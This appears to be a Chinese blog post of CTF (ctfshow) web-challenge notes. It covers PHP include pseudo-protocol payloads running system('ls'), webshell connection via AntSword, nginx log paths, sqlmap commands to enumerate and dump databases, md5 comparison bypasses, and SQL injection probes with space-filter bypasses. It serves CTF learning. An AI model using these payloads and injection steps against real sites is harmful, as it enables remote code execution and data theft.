ctfshow——web(总结&持续更新)

文章目录

1、基础知识部分

  1. 识别base64编码:大小写+数字,偶尔最后几位是= or ++

2、php伪协议

2.1 php://input协议

关于php://input ,简单来说:当php://inputinclude连用时,数据包中的post字段将会当做php代码执行。

bash 复制代码
# 查看当前目录下的文件
# GET传参
?url=php://input
# POST
<?php system("ls");?>  

2.2 data://text/plain协议

关于data://text/plain ,简单来说:当data://text/plaininclude 连用时,data://text/plain后面接着的数据会被当做php代码执行。

bash 复制代码
?url=data://text/plain,<?php system('ls');?> # 
?url=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8+ # <?php system('ls');?>的bash64加密形式

3、webshell连接工具

3.1 蚁剑连接一句话木马

如果蚁剑报错:unable_to_verify_leaf_signature ,是证书的原因,目前的解决方法是将URL中的https改为http。

4、各个web中间件重要文件路径

4.1 Nginx

bash 复制代码
# Linux
/var/log/nginx/access.log # linux下,nginx访问日志文件默认路径

# windows
C:\Program Files\Nginx\logs\access.log # Windows下,nginx访问日志文件默认路径
<Nginx安装目录>/logs/access.log# Windows下,nginx访问日志文件自定义安装路径

5、sqlmap使用

sqlmap常用命令:

bash 复制代码
python3 sqlmap.py -r test.txt # 在存在sql注入漏洞的参数后面加*
python3 sqlmap.py -r test.txt --dbs  #--dbs选项是列出所有数据库名
python3 sqlmap.py -r test.txt -D web2 --tables # web2数据库的所有表名
python3 sqlmap.py -r test.txt -D web2 -T flag --columns # web2数据库的falg表的所有字段
python3 sqlmap.py -r test.txt -D web2 -T flag -C flag --dump # web2数据库的falg表的所有字段内容

# 使用--tamper脚本,将空格转换为内联注释符
python3 sqlmap.py -r test.txt --tamper space2comment # 在存在sql注入漏洞的参数后面加*

# 判断是否存在SQL注入
python3 sqlmap.py -u https://98b59309-13c0-4091-9683-af3ebc38f310.challenge.ctf.show/index.php?id=1 -p "id" --tamper space2comment # -p指定参数

6、php特性

6.1 md5加密漏洞

  1. md5 0e漏洞:就是说在使用md5()==进行变量比较的时候,只要左右两边的字符串经过md5()加密后,都是以0e开头的字符串,那么左右两边将会相等。
  2. 当使用md5()===进行变量对比的时候, 使用数组可以绕过md5()函数的检测。

7、TOP 10漏洞

7.1 SQL注入

SQL注入常见的测试方法就是:

  • 在参数后面加个',看返回包是否报错;
  • 使用万能密码1' or 1=1 --+,看返回包有没有反应。

SQL注入绕过:

sh 复制代码
# 空格被过滤
username=1'or(true)#  # 用(true)代替1=1
username=1'/**/or/**/1=1/**/#  # 用内联注释(/**/)代替空格

经过测试过滤了空格,所以用内敛注释进行绕过
id=1'/**/and/**/1=1/**/#      正常返回
id=1'/**/and/**/1=2/**/#      数据未返回,存在SQL注入

或者
id=1'/**/and/**/(true)/**/#      正常返回
id=1'/**/and/**/(false)/**/#      数据未返回,存在SQL注入

或者
id=1'/**/or/**/(false)#  返回一条数据
id=1'/**/or/**/(true)#  返回当前表里的所有数据
相关推荐
浩浩测试一下28 分钟前
内网---> ForceChangePassword 权限滥用
java·服务器·网络·安全·web安全·网络安全·系统安全
NOVAnet202329 分钟前
南凌科技「Bot防护」:让恶意爬虫、刷票薅羊毛等自动化攻击无处遁形
爬虫·科技·网络安全·自动化·南凌科技
Whoami!1 小时前
⓫⁄₁₂ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 未加引号服务路径漏洞利用(下)
网络安全·信息安全·windows服务·未加引号服务路径
ccino .1 小时前
【官方最新VMware workstation pro获取】
运维·网络安全·自动化
世界尽头与你14 小时前
(修复方案)kibana 未授权访问漏洞
安全·网络安全·渗透测试
独角鲸网络安全实验室15 小时前
WhisperPair漏洞突袭:谷歌Fast Pair协议失守,数亿蓝牙设备陷静默劫持危机
网络安全·数据安全·漏洞·蓝牙耳机·智能设备·fast pair·cve-2025-36911
lingggggaaaa17 小时前
安全工具篇&Go魔改二开&Fscan扫描&FRP代理&特征消除&新增扩展&打乱HASH
学习·安全·web安全·网络安全·golang·哈希算法
小李独爱秋19 小时前
计算机网络经典问题透视:无线个人区域网WPAN的主要特点是什么?
计算机网络·网络安全·信息与通信·信号处理·wpan
niaiheni1 天前
Log4j 漏洞深度分析:CVE-2021-44228 原理与本质
web安全·网络安全·log4j
Whoami!1 天前
⓫⁄₁₁ ⟦ OSCP ⬖ 研记 ⟧ Windows权限提升 ➱ 未加引号服务路径漏洞利用(上)
windows·网络安全·信息安全·未加引号服务路径